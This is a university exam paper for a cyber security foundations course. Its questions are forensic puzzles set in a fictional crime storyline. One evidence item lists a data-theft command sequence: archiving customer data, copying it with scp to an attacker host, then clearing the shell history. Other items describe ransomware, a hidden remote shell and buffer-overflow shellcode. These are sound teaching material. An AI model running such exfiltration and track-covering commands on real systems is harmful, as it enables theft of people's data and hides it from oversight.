JAYPEE UNIVERSITY OF INFORMATION TECHNOLOGY, WAKNAGHAT

TEST -3 EXAMINATION- 2025

B.Tech-III Semester (CSE)

COURSE CODE (CREDITS): 24B11CI312(3) MAX. MARKS: 35

COURSE NAME: INFORMATION AND CYBER SECURITY FOUNDATIONS

COURSE INSTRUCTORS: AAYUSH SHARMA MAX. TIME: 2 Hours

Note: *(a) All questions are compulsory. Read the questions carefully your answers are in the questions.*

(b) The candidate is allowed to make Suitable numeric assumptions wherever required, For solving problems.

Q.No	Question	CO	Marks
Q1	November 3, 2025 | Journalist Priya Malhotra disappeared after Investigating an AI project that creates fake online identities.	[CO2] [CO5]	[2X3]

Evidence A: Wireshark Capture	Evidence B: Phone Log	Evidence C: Browser History
Packet #73 - Time: 02:56:34 AM Protocol: HTTP POST gmail.com/send_email From: priya.malhotra@newstoday-india.com [Email content visible in plain text]	02:30 AM - Incoming call: +91-7734-001-XXX (4 min 12 sec) 02:31 AM – Voicemail transcription: "Stop investigating the voice project. Final warning."	02:34 AM - "how to disappear without trace" 02:56 AM - Email sent

Answer the following:

A). Why is HTTP protocol dangerous here? What should have been used?

B) Call at 02:30, searches at 02:34. What does this timeline suggest?

C) Write a Wireshark display filter to find all HTTP traffic from Priya's IP (192.168.1.105).

Q.No	Question	CO	Marks
Q2	November 5, 2025 | CEO Vikram Mehta kidnapped. His company develops tools to detect fake AI-generated social media accounts. Ransom: ₹2 Crore to 1*ViKrAm7734SeCuReNeT99*.	[CO4] [CO5] [CO6]	[2X3]

Evidence A: Encrypted Message	Evidence B: Video Metadata	Evidence C: Bitcoin Transaction
Ciphertext: WUDQVIHU ELWFRLQ WR ZDOOHW Method: Caesar Cipher (Key 3) [Additional note found with message:] "Your detection software threatens our voice. Stop development or consequences continue."	File: proof_vikram.mp4 MD5: 5f4dcc3b5aa765d61d8327deb882cf99 SHA-256: 6b86b273ff34fce19d6b804eff5a3f5... GPS Data: STRIPPED	Destination: 1ViKrAm7734SeCuReNeT99 Passed through: Cryptocurrency mixer

Answer the following:

A). Decrypt the contents of evidence A.

B) What is the purpose of hash functions in Evidence B? If 1 pixel changes in the video, what happens to the hash?

C) Why do criminals strip GPS metadata from files?

Q.No	Question	CO	Marks
Q3	November 8, 2025 | Lifeline Hospital infected. 247 computers encrypted in 12 minutes.	[CO3]	[3+2]

Evidence A: Email to Dr. Sharma	Evidence B: Malware Behavior	Evidence C: Three Malware Samples Found
From: medical-council@imc-india.org Subject: URGENT: License expires in 24 hours Attachment: Medical_License_Form.exe [Email footer:] "Your research into synthetic voice patterns must stop.	Medical_License_Form.exe: - Executes on opening - Connects to 203.0.113.77:7734 - Encrypts .doc, .pdf, .jpg files - Specifically targets files containing keywords: "fake profile", "AI detection", "shadow", "voice" - Spreads automatically via network	**Sample 1 - "BackupTool.exe"** - Appears as legitimate backup software - User voluntarily downloads and installs it - Actually steals passwords in background - Does NOT spread to other computers - Relies on deceiving users

Consider this your final warning."	shares - No user action needed for spread - 247 computers infected in 12 minutes	**Sample 2 - "SystemUpdate.vbs"** - Attaches itself to legitimate Excel files - When user opens Excel file, virus activates - Modifies other Excel/Word files on same computer - Requires human to share infected files via email/USB - Cannot spread by itself over network **Sample 3 - "NetworkScanner.exe"** (The hospital malware) - Automatically scans network for vulnerable systems - Exploits SMB vulnerability to spread - No human interaction needed after initial infection - Self-replicates across all connected systems

Answer the following:

A) Classify each malware sample as Virus, Worm, or Trojan. Justify each answer in Evidence C.

B) Which sample from Evidence C matches the hospital attack behavior? Why?

Q4 [CO1] [CO3] [3X2]

November 10, 2025 | DataVault server compromised. Company stored encrypted files for activists tracking fake social media manipulation. Admin Arjun arrested but claims he was framed.

Evidence A: Command History	Evidence B: Process List (Arjun's Workstation)	Evidence C: Memory Dump
• ssh root@prod-server-7734 • cd /var/customer_data • ls -la • find . -type f -name "*.pdf" • tar -czf backup.tar.gz . • scp backup.tar.gz attacker@203.0.113.34:7734 • rm backup.tar.gz • history -c	PID / USER / Command 7734 / root / /usr/bin/.hidden/remote_shell 8291 / arjun / firefox	Address: 0x00007734000 Content: Shellcode (malicious code) Method: Buffer overflow injection Decoded string fragments: "*.terminate S*&*@^* voice Investigators...erase v()!& detection tools..."

Evidence B: Process List (Arjun's Workstation)

PID	USER	Command
7734	root	/usr/bin/.hidden/remote_shell
8291	arjun	firefox

Answer the following:

A) Explain what each command does in one line from evidence A.

B) What does a filename starting with `.` (dot) mean in Linux?

C) Explain how the attacker gains control. In Evidence C.

Q5 [CO4] [CO6] [3X2]

November 12, 2025 | Ravi's startup was building AI to identify bot accounts and fake social media profiles. Ravi Krishnan blackmailed for ₹1 crore. Bitcoin: `1RaV1-7734-BLaCKMa1L`

Evidence A: Encrypted Message	Evidence B: OSINT Results
Ciphertext: QBXT NBBJB XJMM HFU GJMFT Cipher: Keyword Cipher Keyword: SHADOW **[Attached threatening note]** "Your bot detection algorithm identifies our voices. Delete the code or your financial secrets go public. You have 48 hours."	Google Dork 1: site:github.com "Ravi Krishnan" Found: Public repo "startup_finances_2024" with tax_planning.xlsx (accidentally public) Google Dork 2: site:linkedin.com "Ravi Krishnan" Found: Company details, partners, funding info

Answer the following:

A) Decrypt Evidence A.

B) Write Google Dork queries to find:

- All PDF files on "company.com"
- Files with "confidential" in their URL

C) Evidence B used OSINT (Open Source Intelligence). Name TWO public sources for gathering information on a target.

Q6 [CO1] [3X2]

Five independent cases. All closed. But one signature connects them all.

A) Find the common thing/word/number excluding the dates, in Q1 to Q5.

B) What is "Shadow Voice" and where did it appear in Q1 to Q5?

C) Write a threat profile (50 words): What connects the victims? Is this random crime or coordinated attack? And what is the overall purpose of the attackers?